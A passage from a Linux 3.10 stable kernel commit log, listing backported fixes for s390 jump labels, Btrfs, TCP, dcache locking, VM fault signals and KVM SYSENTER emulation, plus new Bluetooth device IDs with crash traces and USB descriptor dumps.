not contained within an NSS segment. Fixes the following crash (and the above bugs as well): Jump label code mismatch at netif_receive_skb_internal+0x28/0xd0 Found: c0 04 00 00 00 00 Expected: c0 f4 00 00 00 11 New: c0 04 00 00 00 00 Kernel panic - not syncing: Corrupted kernel text CPU: 0 PID: 9 Comm: migration/0 Not tainted 3.19.0-01975-gb1b096e70f23 #4 Call Trace: [<0000000000113972>] show_stack+0x72/0xf0 [<000000000081f15e>] dump_stack+0x6e/0x90 [<000000000081c4e8>] panic+0x108/0x2b0 [<000000000081be64>] jump_label_bug.isra.2+0x104/0x108 [<0000000000112176>] __jump_label_transform+0x9e/0xd0 [<00000000001121e6>] __sm_arch_jump_label_transform+0x3e/0x50 [<00000000001d1136>] multi_cpu_stop+0x12e/0x170 [<00000000001d1472>] cpu_stopper_thread+0xb2/0x168 [<000000000015d2ac>] smpboot_thread_fn+0x134/0x1b0 [<0000000000158baa>] kthread+0x10a/0x110 [<0000000000824a86>] kernel_thread_starter+0x6/0xc Reported-and-tested-by: Sebastian Ott Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 94a202b85a06378c31314f8dd598c8a2d95f97ef Author: Ekaterina Tumanova Date: Tue Mar 3 09:54:41 2015 +0100 KVM: s390: Zero out current VMDB of STSI before including level3 data. commit b75f4c9afac2604feb971441116c07a24ecca1ec upstream. s390 documentation requires words 0 and 10-15 to be reserved and stored as zeros. As we fill out all other fields, we can memset the full structure. Signed-off-by: Ekaterina Tumanova Reviewed-by: David Hildenbrand Signed-off-by: Christian Borntraeger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f17df2936eb5d91781e307ce07b61ebe1d4816a2 Author: Felipe Balbi Date: Tue Sep 30 16:08:03 2014 -0500 usb: gadget: composite: enable BESL support commit a6615937bcd9234e6d6bb817c3701fce44d0a84d upstream. According to USB 2.0 ECN Errata for Link Power Management (USB2-LPM-Errata-final.pdf), BESL must be enabled if LPM is enabled. This helps with USB30CV TD 9.21 LPM L1 Suspend Resume Test. Signed-off-by: Felipe Balbi Signed-off-by: Du, Changbin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3003af39429106024ce46328bad907a543bdc6e2 Author: Filipe Manana Date: Mon Mar 30 18:23:59 2015 +0100 Btrfs: fix inode eviction infinite loop after cloning into it commit ccccf3d67294714af2d72a6fd6fd7d73b01c9329 upstream. If we attempt to clone a 0 length region into a file we can end up inserting a range in the inode's extent_io tree with a start offset that is greater then the end offset, which triggers immediately the following warning: [ 3914.619057] WARNING: CPU: 17 PID: 4199 at fs/btrfs/extent_io.c:435 insert_state+0x4b/0x10b [btrfs]() [ 3914.620886] BTRFS: end < start 4095 4096 (...) [ 3914.638093] Call Trace: [ 3914.638636] [] dump_stack+0x4c/0x65 [ 3914.639620] [] warn_slowpath_common+0xa1/0xbb [ 3914.640789] [] ? insert_state+0x4b/0x10b [btrfs] [ 3914.642041] [] warn_slowpath_fmt+0x46/0x48 [ 3914.643236] [] insert_state+0x4b/0x10b [btrfs] [ 3914.644441] [] __set_extent_bit+0x107/0x3f4 [btrfs] [ 3914.645711] [] lock_extent_bits+0x65/0x1bf [btrfs] [ 3914.646914] [] ? _raw_spin_unlock+0x28/0x33 [ 3914.648058] [] ? test_range_bit+0xcc/0xde [btrfs] [ 3914.650105] [] lock_extent+0x13/0x15 [btrfs] [ 3914.651361] [] lock_extent_range+0x3d/0xcd [btrfs] [ 3914.652761] [] btrfs_ioctl_clone+0x278/0x388 [btrfs] [ 3914.654128] [] ? might_fault+0x58/0xb5 [ 3914.655320] [] btrfs_ioctl+0xb51/0x2195 [btrfs] (...) [ 3914.669271] ---[ end trace 14843d3e2e622fc1 ]--- This later makes the inode eviction handler enter an infinite loop that keeps dumping the following warning over and over: [ 3915.117629] WARNING: CPU: 22 PID: 4228 at fs/btrfs/extent_io.c:435 insert_state+0x4b/0x10b [btrfs]() [ 3915.119913] BTRFS: end < start 4095 4096 (...) [ 3915.137394] Call Trace: [ 3915.137913] [] dump_stack+0x4c/0x65 [ 3915.139154] [] warn_slowpath_common+0xa1/0xbb [ 3915.140316] [] ? insert_state+0x4b/0x10b [btrfs] [ 3915.141505] [] warn_slowpath_fmt+0x46/0x48 [ 3915.142709] [] insert_state+0x4b/0x10b [btrfs] [ 3915.143849] [] __set_extent_bit+0x107/0x3f4 [btrfs] [ 3915.145120] [] ? btrfs_kill_super+0x17/0x23 [btrfs] [ 3915.146352] [] ? deactivate_locked_super+0x3b/0x50 [ 3915.147565] [] lock_extent_bits+0x65/0x1bf [btrfs] [ 3915.148785] [] ? _raw_write_unlock+0x28/0x33 [ 3915.149931] [] btrfs_evict_inode+0x196/0x482 [btrfs] [ 3915.151154] [] evict+0xa0/0x148 [ 3915.152094] [] dispose_list+0x39/0x43 [ 3915.153081] [] evict_inodes+0xdc/0xeb [ 3915.154062] [] generic_shutdown_super+0x49/0xef [ 3915.155193] [] kill_anon_super+0x13/0x1e [ 3915.156274] [] btrfs_kill_super+0x17/0x23 [btrfs] (...) [ 3915.167404] ---[ end trace 14843d3e2e622fc2 ]--- So just bail out of the clone ioctl if the length of the region to clone is zero, without locking any extent range, in order to prevent this issue (same behaviour as a pwrite with a 0 length for example). This is trivial to reproduce. For example, the steps for the test I just made for fstests: mkfs.btrfs -f SCRATCH_DEV mount SCRATCH_DEV $SCRATCH_MNT touch $SCRATCH_MNT/foo touch $SCRATCH_MNT/bar $CLONER_PROG -s 0 -d 4096 -l 0 $SCRATCH_MNT/foo $SCRATCH_MNT/bar umount $SCRATCH_MNT A test case for fstests follows soon. Signed-off-by: Filipe Manana Reviewed-by: Omar Sandoval Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9cbf6cdae5130ea7d4b5455eef446493aa000b0d Author: Filipe Manana Date: Mon Mar 23 14:07:40 2015 +0000 Btrfs: fix log tree corruption when fs mounted with -o discard commit dcc82f4783ad91d4ab654f89f37ae9291cdc846a upstream. While committing a transaction we free the log roots before we write the new super block. Freeing the log roots implies marking the disk location of every node/leaf (metadata extent) as pinned before the new super block is written. This is to prevent the disk location of log metadata extents from being reused before the new super block is written, otherwise we would have a corrupted log tree if before the new super block is written a crash/reboot happens and the location of any log tree metadata extent ended up being reused and rewritten. Even though we pinned the log tree's metadata extents, we were issuing a discard against them if the fs was mounted with the -o discard option, resulting in corruption of the log tree if a crash/reboot happened before writing the new super block - the next time the fs was mounted, during the log replay process we would find nodes/leafs of the log btree with a content full of zeroes, causing the process to fail and require the use of the tool btrfs-zero-log to wipeout the log tree (and all data previously fsynced becoming lost forever). Fix this by not doing a discard when pinning an extent. The discard will be done later when it's safe (after the new super block is committed) at extent-tree.c:btrfs_finish_extent_commit(). Fixes: e688b7252f78 (Btrfs: fix extent pinning bugs in the tree log) Signed-off-by: Filipe Manana Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ca05cceff4f1d1de33e84dd17907787192474ab2 Author: Eric Dumazet Date: Thu Apr 23 10:42:39 2015 -0700 tcp: avoid looping in tcp_send_fin() [ Upstream commit 845704a535e9b3c76448f52af1b70e4422ea03fd ] Presence of an unbound loop in tcp_send_fin() had always been hard to explain when analyzing crash dumps involving gigantic dying processes with millions of sockets. Lets try a different strategy : In case of memory pressure, try to add the FIN flag to last packet in write queue, even if packet was already sent. TCP stack will be able to deliver this FIN after a timeout event. Note that this FIN being delivered by a retransmit, it also carries a Push flag given our current implementation. By checking sk_under_memory_pressure(), we anticipate that cooking many FIN packets might deplete tcp memory. In the case we could not allocate a packet, even with __GFP_WAIT allocation, then not sending a FIN seems quite reasonable if it allows to get rid of this socket, free memory, and not block the process from eventually doing other useful work. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b45c95cf6573fcedad5897f5bc5c973e61913cf9 Author: Eric Dumazet Date: Tue Apr 21 18:32:24 2015 -0700 tcp: fix possible deadlock in tcp_send_fin() [ Upstream commit d83769a580f1132ac26439f50068a29b02be535e ] Using sk_stream_alloc_skb() in tcp_send_fin() is dangerous in case a huge process is killed by OOM, and tcp_mem[2] is hit. To be able to free memory we need to make progress, so this patch allows FIN packets to not care about tcp_mem[2], if skb allocation succeeded. In a follow-up patch, we might abort tcp_send_fin() infinite loop in case TIF_MEMDIE is set on this thread, as memory allocator did its best getting extra memory already. This patch reverts d22e15371811 ("tcp: fix tcp fin memory accounting") Fixes: d22e15371811 ("tcp: fix tcp fin memory accounting") Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d020ac5886893da207936e89172fa473c1db3e6 Author: Sebastian Pöhn Date: Mon Apr 20 09:19:20 2015 +0200 ip_forward: Drop frames with attached skb->sk [ Upstream commit 2ab957492d13bb819400ac29ae55911d50a82a13 ] Initial discussion was: [FYI] xfrm: Don't lookup sk_policy for timewait sockets Forwarded frames should not have a socket attached. Especially tw sockets will lead to panics later-on in the stack. This was observed with TPROXY assigning a tw socket and broken policy routing (misconfigured). As a result frame enters forwarding path instead of input. We cannot solve this in TPROXY as it cannot know that policy routing is broken. v2: Remove useless comment Signed-off-by: Sebastian Poehn Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3eb62b75c3b9ec2363915c60d71bbbb42e6c579d Author: Greg Kroah-Hartman Date: Wed Apr 29 10:34:22 2015 +0200 Linux 3.10.76 Signed-off-by: Pranav Vashi commit 4fb54f4f2daa105b635f1e52e82f8187937cdc83 Author: Ben Hutchings Date: Wed Feb 11 03:16:35 2015 +0000 dcache: Fix locking bugs in backported "deal with deadlock in d_walk()" commit 20defcec264ceab2630356fb9d397f3d237b5e6d upstream in 3.2-stable Steven Rostedt reported: > Porting -rt to the latest 3.2 stable tree I triggered this bug: > > ===================================== > [ BUG: bad unlock balance detected! ] > ------------------------------------- > rm/1638 is trying to release lock (rcu_read_lock) at: > [] rcu_read_unlock+0x0/0x23 > but there are no more locks to release! > > other info that might help us debug this: > 2 locks held by rm/1638: > #0: (&sb->s_type->i_mutex_key#9/1){+.+.+.}, at: [] do_rmdir+0x5f/0xd2 > #1: (&sb->s_type->i_mutex_key#9){+.+.+.}, at: [] vfs_rmdir+0x49/0xac > > stack backtrace: > Pid: 1638, comm: rm Not tainted 3.2.66-test-rt96+ #2 > Call Trace: > [] ? printk+0x1d/0x1f > [] print_unlock_inbalance_bug+0xc3/0xcd > [] lock_release_non_nested+0x98/0x1ec > [] ? trace_hardirqs_off_caller+0x18/0x90 > [] ? local_clock+0x2d/0x50 > [] ? d_hash+0x2f/0x2f > [] ? d_hash+0x2f/0x2f > [] lock_release+0x192/0x1ad > [] rcu_read_unlock+0x17/0x23 > [] shrink_dcache_parent+0x227/0x270 > [] vfs_rmdir+0x68/0xac > [] do_rmdir+0x98/0xd2 > [] ? fput+0x1a3/0x1ab > [] ? sysenter_exit+0xf/0x1a > [] ? trace_hardirqs_on_caller+0x118/0x149 > [] sys_unlinkat+0x2b/0x35 > [] sysenter_do_call+0x12/0x12 > > > > > There's a path to calling rcu_read_unlock() without calling > rcu_read_lock() in have_submounts(). > > goto positive; > > positive: > if (!locked && read_seqretry(&rename_lock, seq)) > goto rename_retry; > > rename_retry: > rcu_read_unlock(); > > in the above path, rcu_read_lock() is never done before calling > rcu_read_unlock(); I reviewed locking contexts in all three functions that I changed when backporting "deal with deadlock in d_walk()". It's actually worse than this: - We don't hold this_parent->d_lock at the 'positive' label in have_submounts(), but it is unlocked after 'rename_retry'. - There is an rcu_read_unlock() after the 'out' label in select_parent(), but it's not held at the 'goto out'. Fix all three lock imbalances. Reported-by: Steven Rostedt Signed-off-by: Ben Hutchings Tested-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit be02e7c76ef7a4822204478cb2ad2294ec1c910b Author: Guenter Roeck Date: Thu Jan 29 19:15:33 2015 -0800 arc: mm: Fix build failure commit e262eb9381ad51b5de7a9e762ee773bbd25ce650 upstream. Fix misspelled define. Fixes: 33692f27597f ("vm: add VM_FAULT_SIGSEGV handling support") Signed-off-by: Guenter Roeck Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7c23305a77f93d43293c58153fc17c89e1d508e7 Author: Seth Jennings Date: Fri Sep 5 14:28:47 2014 -0500 sb_edac: avoid INTERNAL ERROR message in EDAC with unspecified channel commit 351fc4a99d49fde63fe5ab7412beb35c40d27269 upstream. Intel IA32 SDM Table 15-14 defines channel 0xf as 'not specified', but EDAC doesn't know about this and returns and INTERNAL ERROR when the channel is greater than NUM_CHANNELS: kernel: [ 1538.886456] CPU 0: Machine Check Exception: 0 Bank 1: 940000000000009f kernel: [ 1538.886669] TSC 2bc68b22e7e812 ADDR 46dae7000 MISC 0 PROCESSOR 0:306e4 TIME 1390414572 SOCKET 0 APIC 0 kernel: [ 1538.971948] EDAC MC1: INTERNAL ERROR: channel value is out of range (15 >= 4) kernel: [ 1538.972203] EDAC MC1: 0 CE memory read error on unknown memory (slot:0 page:0x46dae7 offset:0x0 grain:0 syndrome:0x0 - area:DRAM err_code:0000:009f socket:1 channel_mask:1 rank:0) This commit changes sb_edac to forward a channel of -1 to EDAC if the channel is not specified. edac_mc_handle_error() sets the channel to -1 internally after the error message anyway, so this commit should have no effect other than avoiding the INTERNAL ERROR message when the channel is not specified. Signed-off-by: Seth Jennings Signed-off-by: Mauro Carvalho Chehab Cc: Vinson Lee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b03e8f9a0bbdc15d8eeb0b06f621e9429569e67e Author: Linus Torvalds Date: Mon Dec 15 14:46:06 2014 -0800 x86: mm: move mmap_sem unlock from mm_fault_error() to caller commit 7fb08eca45270d0ae86e1ad9d39c40b7a55d0190 upstream. This replaces four copies in various stages of mm_fault_error() handling with just a single one. It will also allow for more natural placement of the unlocking after some further cleanup. Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9d378f7c836abdf4358b94d631f810c2af3fded Author: Linus Torvalds Date: Thu Jan 29 11:15:17 2015 -0800 vm: make stack guard page errors return VM_FAULT_SIGSEGV rather than SIGBUS commit 9c145c56d0c8a0b62e48c8d71e055ad0fb2012ba upstream. The stack guard page error case has long incorrectly caused a SIGBUS rather than a SIGSEGV, but nobody actually noticed until commit fee7e49d4514 ("mm: propagate error from stack expansion even for guard page") because that error case was never actually triggered in any normal situations. Now that we actually report the error, people noticed the wrong signal that resulted. So far, only the test suite of libsigsegv seems to have actually cared, but there are real applications that use libsigsegv, so let's not wait for any of those to break. Reported-and-tested-by: Takashi Iwai Tested-by: Jan Engelhardt Acked-by: Heiko Carstens # "s390 still compiles and boots" Cc: linux-arch@vger.kernel.org Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 766ef27386a2062f56262f83019e02a480fc482c Author: Linus Torvalds Date: Thu Jan 29 10:51:32 2015 -0800 vm: add VM_FAULT_SIGSEGV handling support commit 33692f27597fcab536d7cbbcc8f52905133e4aa7 upstream. The core VM already knows about VM_FAULT_SIGBUS, but cannot return a "you should SIGSEGV" error, because the SIGSEGV case was generally handled by the caller - usually the architecture fault handler. That results in lots of duplication - all the architecture fault handlers end up doing very similar "look up vma, check permissions, do retries etc" - but it generally works. However, there are cases where the VM actually wants to SIGSEGV, and applications _expect_ SIGSEGV. In particular, when accessing the stack guard page, libsigsegv expects a SIGSEGV. And it usually got one, because the stack growth is handled by that duplicated architecture fault handler. However, when the generic VM layer started propagating the error return from the stack expansion in commit fee7e49d4514 ("mm: propagate error from stack expansion even for guard page"), that now exposed the existing VM_FAULT_SIGBUS result to user space. And user space really expected SIGSEGV, not SIGBUS. To fix that case, we need to add a VM_FAULT_SIGSEGV, and teach all those duplicate architecture fault handlers about it. They all already have the code to handle SIGSEGV, so it's about just tying that new return value to the existing code, but it's all a bit annoying. This is the mindless minimal patch to do this. A more extensive patch would be to try to gather up the mostly shared fault handling logic into one generic helper routine, and long-term we really should do that cleanup. Just from this patch, you can generally see that most architectures just copied (directly or indirectly) the old x86 way of doing things, but in the meantime that original x86 model has been improved to hold the VM semaphore for shorter times etc and to handle VM_FAULT_RETRY and other "newer" things, so it would be a good idea to bring all those improvements to the generic case and teach other architectures about them too. Reported-and-tested-by: Takashi Iwai Tested-by: Jan Engelhardt Acked-by: Heiko Carstens # "s390 still compiles and boots" Cc: linux-arch@vger.kernel.org Signed-off-by: Linus Torvalds [shengyong: Backport to 3.10 - adjust context - ignore modification for arch nios2, because 3.10 does not support it - ignore modification for driver lustre, because 3.10 does not support it - ignore VM_FAULT_FALLBACK in VM_FAULT_ERROR, becase 3.10 does not support this flag - add SIGSEGV handling to powerpc/cell spu_fault.c, because 3.10 does not separate it to copro_fault.c - add SIGSEGV handling in mm/memory.c, because 3.10 does not separate it to gup.c ] Signed-off-by: Sheng Yong Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1b6d48266766fabafc2065a5dfc1dce7c1ac4039 Author: Al Viro Date: Sun Oct 26 19:31:10 2014 -0400 deal with deadlock in d_walk() commit ca5358ef75fc69fee5322a38a340f5739d997c10 upstream. ... by not hitting rename_retry for reasons other than rename having happened. In other words, do _not_ restart when finding that between unlocking the child and locking the parent the former got into __dentry_kill(). Skip the killed siblings instead... Signed-off-by: Al Viro Cc: Ben Hutchings [hujianyang: Backported to 3.10 refer to the work of Ben Hutchings in 3.2: - As we only have try_to_ascend() and not d_walk(), apply this change to all callers of try_to_ascend() - Adjust context to make __dentry_kill() apply to d_kill()] Signed-off-by: hujianyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42317db41803947f1dc839cf10e91beaf92f539e Author: Al Viro Date: Sun Oct 26 19:19:16 2014 -0400 move d_rcu from overlapping d_child to overlapping d_alias commit 946e51f2bf37f1656916eb75bd0742ba33983c28 upstream. Signed-off-by: Al Viro Cc: Ben Hutchings [hujianyang: Backported to 3.10 refer to the work of Ben Hutchings in 3.2: - Apply name changes in all the different places we use d_alias and d_child - Move the WARN_ON() in __d_free() to d_free() as we don't have dentry_free()] Signed-off-by: hujianyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c2c635620dbe8885387f6368117f0ec8f9845994 Author: Nadav Amit Date: Thu Jan 1 23:11:11 2015 +0200 KVM: x86: SYSENTER emulation is broken commit f3747379accba8e95d70cec0eae0582c8c182050 upstream. SYSENTER emulation is broken in several ways: 1. It misses the case of 16-bit code segments completely (CVE-2015-0239). 2. MSR_IA32_SYSENTER_CS is checked in 64-bit mode incorrectly (bits 0 and 1 can still be set without causing #GP). 3. MSR_IA32_SYSENTER_EIP and MSR_IA32_SYSENTER_ESP are not masked in legacy-mode. 4. There is some unneeded code. Fix it. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini [zhangzhiqiang: backport to 3.10: - adjust context - in 3.10 context "ctxt->eflags &= ~(EFLG_VM | EFLG_IF | EFLG_RF)" is replaced by "ctxt->eflags &= ~(EFLG_VM | EFLG_IF)" in upstream, which was changed by another commit. - After the above adjustments, becomes same to the original patch: https://github.com/torvalds/linux/commit/f3747379accba8e95d70cec0eae0582c8c182050 ] Signed-off-by: Zhiqiang Zhang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 01c449ef1b288f85c5f7421eb4dd80b654736b8f Author: Marcel Holtmann Date: Sun Jul 6 14:53:55 2014 +0200 Bluetooth: Ignore isochronous endpoints for Intel USB bootloader commit d92f2df0565ea04101d6ac04bdc10feeb1d93c94 upstream. The isochronous endpoints are not valid when the Intel Bluetooth controller boots up in bootloader mode. So just mark these endpoints as broken and then they will not be configured. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 06cada47bc853f61f14c28287147de15304a7fa8 Author: Marcel Holtmann Date: Sun Jul 6 13:29:58 2014 +0200 Bluetooth: Add support for Intel bootloader devices commit 40df783d1ef1989ac454e3dfcda017270b8950e6 upstream. Intel Bluetooth devices that boot up in bootloader mode can not be used as generic HCI devices, but their HCI transport is still valuable and so bring that up as raw-only devices. T: Bus=02 Lev=02 Prnt=03 Port=00 Cnt=01 Dev#= 14 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=ff(vend.) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=8087 ProdID=0a5a Rev= 0.00 S: Manufacturer=Intel(R) Corporation S: Product=Intel(R) Wilkins Peak 2x2 S: SerialNumber=001122334455 WP_A0 C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=81(I) Atr=03(Int.) MxPS= 64 Ivl=1ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: If#= 1 Alt= 4 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg [bwh: Backported to 3.14: adjust context] Signed-off-by: Johan Hedberg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b0b6a9cf325385886491bfe29197885e8b4420cd Author: Jurgen Kramer Date: Sat Feb 15 12:01:09 2014 +0100 Bluetooth: btusb: Add IMC Networks (Broadcom based) commit 9113bfd82dc8ece9cbb898df8794f58a78a36e97 upstream. Add support for IMC Networks (Broadcom based) to btusb driver. Below the output of /sys/kernel/debug/usb/devices for this device: T: Bus=01 Lev=02 Prnt=02 Port=04 Cnt=01 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 2.00 Cls=ff(vend.) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=13d3 ProdID=3404 Rev= 1.12 S: Manufacturer=Broadcom Corp S: Product=BCM20702A0 S: SerialNumber=240A649F8246 C:* #Ifs= 4 Cfg#= 1 Atr=e0 MxPwr= 0mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: If#= 1 Alt= 4 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=ff(vend.) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms I:* If#= 2 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=(none) E: Ad=84(I) Atr=02(Bulk) MxPS= 32 Ivl=0ms E: Ad=04(O) Atr=02(Bulk) MxPS= 32 Ivl=0ms I:* If#= 3 Alt= 0 #EPs= 0 Cls=fe(app. ) Sub=01 Prot=01 Driver=(none) Signed-off-by: Jurgen Kramer Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 399accacf4dc6aef1ce524b2d2664470954b8f04 Author: Oliver Neukum Date: Thu Jan 16 16:02:58 2014 +0100 Bluetooth: Add firmware update for Atheros 0cf3:311f commit 1e56f1eb2bbeab0ddc3a1e536d2a0065cfe4c131 upstream. The device is not functional without firmware. The device without firmware: T: Bus=02 Lev=02 Prnt=02 Port=05 Cnt=01 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0cf3 ProdID=311f Rev=00.01 C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb The device with firmware: T: Bus=02 Lev=02 Prnt=02 Port=05 Cnt=01 Dev#= 4 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0cf3 ProdID=3007 Rev=00.01 C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb Signed-off-by: Oliver Neukum Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c3c476b9ca3cea9a8f7a90320a003102cde54f89 Author: Oliver Neukum Date: Thu Jan 16 15:37:11 2014 +0100 Bluetooth: Enable Atheros 0cf3:311e for firmware upload commit b131237ca3995edad9efc162d0bc959c3b1dddc2 upstream. The device will bind to btusb without firmware, but with the original buggy firmware device discovery does not work. No devices are detected. Device descriptor without firmware: T: Bus=03 Lev=01 Prnt=01 Port=02 Cnt=01 Dev#= 2 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0cf3 ProdID=311e Rev= 0.01 C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: 